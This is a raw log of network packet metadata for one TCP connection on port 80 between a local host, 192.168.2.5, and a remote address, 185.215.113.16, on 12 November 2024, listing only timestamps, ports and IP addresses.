Nov 12, 2024 05:03:05.470262051 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470263958 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470263958 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470274925 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470299959 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470300913 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470313072 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470313072 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470335007 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470339060 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470361948 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470372915 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470381975 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470381975 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470411062 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470419884 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470444918 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470455885 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470467091 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470477104 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470484018 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470488071 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470501900 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470515013 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470525980 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470527887 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470537901 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470546961 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470557928 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470581055 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470606089 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470606089 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470619917 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470624924 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470637083 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470669985 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470678091 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470678091 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470680952 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470694065 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470730066 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470730066 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470802069 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470813990 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470824957 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470840931 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470846891 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470853090 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470863104 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470880985 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470890045 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470896006 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470896006 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470901966 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470916033 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470927000 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470933914 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470937014 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470946074 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470949888 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.470979929 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.470988989 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471043110 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471055031 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471065998 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471081018 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471091986 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471091986 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471107960 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471111059 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471121073 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471138954 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471149921 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471159935 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471169949 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471174955 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471174955 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471174955 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471199036 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471214056 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471223116 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471232891 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471242905 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471254110 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471270084 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471270084 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471282005 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471288919 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471293926 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471329927 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471374989 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471390963 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471400976 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471410990 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471425056 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471436024 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471452951 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471453905 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471453905 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471463919 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471477985 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471482038 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471488953 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471506119 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471517086 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471522093 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471522093 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471528053 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471539974 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471544981 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471550941 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471564054 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471591949 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471613884 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471626043 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471637964 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471647978 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471654892 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471664906 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471676111 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471683979 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471687078 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471702099 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471713066 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471715927 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471715927 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471723080 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471749067 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471760035 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471770048 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471793890 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471793890 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471808910 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471822977 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471833944 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471844912 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471863985 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471873999 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471893072 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471904039 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471915007 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471929073 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471929073 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471932888 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471946001 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471956968 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471961975 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.471966028 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471976995 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.471995115 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472006083 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472012043 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472018003 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472018957 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472028971 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472067118 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472067118 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472105026 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472124100 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472134113 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472145081 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472167969 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472321033 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472359896 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472383022 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472400904 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472410917 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472445965 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472445965 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472467899 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472522974 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472557068 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472567081 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472575903 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472609997 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472609997 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472675085 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472687960 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472698927 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472709894 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472712994 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472722054 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472731113 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472739935 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472739935 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472769022 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472790003 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472834110 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472872019 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472881079 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472920895 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472928047 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472928047 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472937107 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472950935 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472960949 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.472969055 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472969055 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.472984076 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.473026037 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.473117113 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.473129034 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.473141909 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.473176003 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.473176003 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.473195076 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510163069 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510201931 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510248899 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510252953 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510270119 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510277033 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510287046 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510308981 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510308981 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510356903 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510368109 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510381937 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510386944 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510392904 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510423899 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510449886 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510468006 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510503054 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510519981 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510529995 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510548115 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510548115 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510565042 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510577917 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510582924 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510582924 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510588884 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510646105 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510646105 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510716915 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510726929 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510741949 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510760069 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510761023 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510771990 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510777950 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510782957 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510793924 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510804892 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510814905 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510818958 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510833025 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510843992 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510850906 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510850906 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510854006 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510868073 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510899067 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510912895 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510922909 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510927916 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510947943 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510948896 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510982037 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.510998011 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.510999918 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511035919 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511038065 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511081934 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511096001 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511126041 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511137009 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511146069 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511149883 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511168957 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511169910 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511178970 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511208057 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511208057 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511472940 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511482000 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511492968 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511528969 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511545897 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511552095 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511564016 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511576891 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511588097 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511593103 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511626959 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511636972 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511637926 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511637926 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511663914 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511687994 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511787891 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511814117 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511823893 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511837006 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511847973 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511862040 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511882067 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511899948 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511904001 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511912107 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511923075 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511934996 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511955976 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511970997 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.511981964 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.511991978 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.512037039 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.512207031 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.512218952 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.512229919 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.512243032 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.512276888 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.512276888 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.512315035 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.512331963 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.512342930 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.512377024 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.512377024 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.512454987 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.512466908 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.512476921 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.512486935 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.512499094 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.512500048 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.512510061 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.512521982 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.512538910 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.512598991 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.512628078 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.512681961 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.512686014 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.512731075 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.585302114 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.585328102 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.585336924 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.585342884 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.585355043 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.585366011 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.585377932 CET	80	49937	185.215.113.16	192.168.2.5
